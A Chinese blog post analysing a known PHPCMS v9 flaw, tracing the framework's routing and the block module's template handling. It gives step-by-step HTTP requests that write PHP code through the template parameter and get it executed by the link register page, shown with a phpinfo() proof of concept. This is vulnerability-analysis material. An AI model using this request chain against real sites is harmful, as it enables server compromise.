phpcmsv9文件包含漏洞

前言

phpcmsv9文件包含漏洞

很早的漏洞,重新分析一下.

漏洞分析

路由分析

路由分析index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
/**
* index.php PHPCMS 入口
*
* @copyright (C) 2005-2010 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2010-6-1
*/
//PHPCMS根目录

define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

include PHPCMS_PATH.'/phpcms/base.php';

pc_base::creat_app();

?>

跟进/phpcms/base.php,这是PHPCMS框架入口文件

1580710551613

文件头就定义了IN_PHPCMStrue

回到index.php,以下的代码是在调用base.php中的pc_base类的creat_app()函数.

1
pc_base::creat_app();

1580710888328

分析一下路由,在base.php中分别有三个加载模块所需要调用的方法

1580711108427

这三个都是去调用_load_class函数

1580711693698

分析这个函数

可以明白

load_sys_class调用./phpcms/libs/classes的文件

load_app_class调用./phpcms/modules/模块名/classes的文件

load_model调用./phpcms/model的文件

回过头来再看

1
2
3
public static function creat_app() {
return self::load_sys_class('application');
}

然后跟进./phpcms/libs/classes/application.class.php

1580714488524

然后跟进./phpcms/libs/classes/param.class.php,在application.class.php中分别调用了route_m,route_c,route_a

1580714785175

可通过传参来指定调用模型,控制器,事件

然后回到application.class.php,调用函数init()

1
2
3
4
5
6
7
8
9
10
11
12
private function init() {
$controller = $this->load_controller();
if (method_exists($controller, ROUTE_A)) {
if (preg_match('/^[_]/i', ROUTE_A)) {
exit('You are visiting the action is to protect the private action');
} else {
call_user_func(array($controller, ROUTE_A));
}
} else {
exit('Action does not exist.');
}
}

然后调用load_controller(),加载事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private function load_controller($filename = '', $m = '') {
if (empty($filename)) $filename = ROUTE_C;
if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
if (file_exists($filepath)) {
$classname = $filename;
include $filepath;
if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_'.$filename;
include $mypath;
}
if(class_exists($classname)){
return new $classname;
}else{
exit('Controller does not exist.');
}
} else {
exit('Controller does not exist.');
}
}

漏洞分析

定位:./phpcms/modules/block/block_admin.php::block_update()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function block_update() {
$id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : showmessage(L('illegal_operation'), HTTP_REFERER);
//进行权限判断
if ($this->roleid != 1) {
if (!$this->priv_db->get_one(array('blockid'=>$id, 'roleid'=>$this->roleid, 'siteid'=>$this->siteid))) {
showmessage(L('not_have_permissions'));
}
}
if (!$data = $this->db->get_one(array('id'=>$id))) {
showmessage(L('nofound'));
}
if (isset($_POST['dosubmit'])) {
$sql = array();
if ($data['type'] == 2) {
$title = isset($_POST['title']) ? $_POST['title'] : '';
$url = isset($_POST['url']) ? $_POST['url'] : '';
$thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
$desc = isset($_POST['desc']) ? $_POST['desc'] : '';
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
$datas = array();
foreach ($title as $key=>$v) {
if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
$datas[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('<br />', '&nbsp;'), $desc[$key]));
}
if ($template) {
$block = pc_base::load_app_class('block_tag');
$block->template_url($id, $template);
}
.....
....
......

关键代码:

1
2
3
4
if ($template) {
$block = pc_base::load_app_class('block_tag');
$block->template_url($id, $template);
}

调用了template_url()

跟进至./phpcms/modules/block/classes/block_tag.class.php::template_url()

1580717922585

对照template_url()的内容,回到block_update().其中$template$id都是我们能控制的.然后这里调用了teemplate_cache.class.phptemplate_parse()

1580718778371

这里其实不严谨,令payload为{php phpinfo();}就可以绕过

最有意思的一点来了,block_update()在逻辑上是一段更新数据用的代码

所以这个数据首先得存在才可以

那么我们先看block_admin.phpadd()

1580718565532

然后构造payload

1
2
3
4
5
6
7
8
9
10
(1)添加一个数据,添加后如数据库所示
payload:
?m=block&c=block_admin&a=add&pos=1&pc_hash=pI9K4g
POST:dosubmit=1&name=test&type=2


(2)更新数据,更新后的结果如下图
payload
?m=block&c=block_admin&a=block_update&id=2&pc_hash=pI9K4g
POST:dosubmit=1&template={php phpinfo();}

1580720665955

1580720939249

文件已经写入

1580721206741

接着就是如何读取文件,如果像平时那样直接根据路径会读文件,会因为

1
<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>

而无法读取,但是如果在后台有登录的情况下,由于在base.php中的如下代码,

1
define('IN_PHPCMS', true);

则可以通过构造payload读取木马文件.

/phpcms/modules/block/classes/block_tag.class.php:pc_tag()

1580721499533

其中

1
include $this->template_url($id);

将会根据id去读取/phpcms/caches/caches_template/block里的文件.

然后这时候看到./phpcms/modules/link/index.php::register()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public function register() { 
$siteid = SITEID;
if(isset($_POST['dosubmit'])){
if($_POST['name']==""){
showmessage(L('sitename_noempty'),"?m=link&c=index&a=register&siteid=$siteid");
}
if($_POST['url']=="" || !preg_match('/^http:\/\/(.*)/i', $_POST['url'])){
showmessage(L('siteurl_not_empty'),"?m=link&c=index&a=register&siteid=$siteid");
}
if(!in_array($_POST['linktype'],array('0','1'))){
$_POST['linktype'] = '0';
}
$link_db = pc_base::load_model(link_model);
$_POST['logo'] =new_html_special_chars($_POST['logo']);

$logo = safe_replace(strip_tags($_POST['logo']));
if(!preg_match('/^http:\/\/(.*)/i', $logo)){
$logo = '';
}
$name = safe_replace(strip_tags($_POST['name']));
$url = safe_replace(strip_tags($_POST['url']));
$url = trim_script($url);
if($_POST['linktype']=='0'){
$sql = array('siteid'=>$siteid,'typeid'=>intval($_POST['typeid']),'linktype'=>intval($_POST['linktype']),'name'=>$name,'url'=>$url);
}else{
$sql = array('siteid'=>$siteid,'typeid'=>intval($_POST['typeid']),'linktype'=>intval($_POST['linktype']),'name'=>$name,'url'=>$url,'logo'=>$logo);
}
$link_db->insert($sql);
showmessage(L('add_success'), "?m=link&c=index&siteid=$siteid");
} else {
$setting = getcache('link', 'commons');
$setting = $setting[$siteid];
if($setting['is_post']=='0'){
showmessage(L('suspend_application'), HTTP_REFERER);
}
$this->type = pc_base::load_model('type_model');
$types = $this->type->get_types($siteid);//获取站点下所有友情链接分类
pc_base::load_sys_class('form', '', 0);
$SEO = seo(SITEID, '', L('application_links'), '', '');
include template('link', 'register');
}
}

其中最关键是

1
include template('link', 'register');

跟进template()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function template($module = 'content', $template = 'index', $style = '') {

if(strpos($module, 'plugin/')!== false) {
$plugin = str_replace('plugin/', '', $module);
return p_template($plugin, $template,$style);
}
$module = str_replace('/', DIRECTORY_SEPARATOR, $module);
if(!empty($style) && preg_match('/([a-z0-9\-_]+)/is',$style)) {
} elseif (empty($style) && !defined('STYLE')) {
if(defined('SITEID')) {

.....
.....
echo "123";
var_dump($compiledtplfile);
echo "123";
return $compiledtplfile;
}

1580725647023

可以把这个路径打印出来看看是怎么回事

payload

1
?m=link&c=index&a=register&siteid=1

1580725784534

然后跟进register.php

1580725858654

发现这里会调用pc_tag(),当然也可以全局搜索,然后来看看哪里调用了pc_tag()

既然调用了pc_tag(),那么木马文件就会被读取

payload:

1
?m=link&c=index&a=register&siteid=1

1580726010375

总结

好多之前没有懂的东西,都懂了.炒冷饭现场…….

Author: 我是小吴啦
Link: http://yoursite.com/2020/02/03/phpcmsv9%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.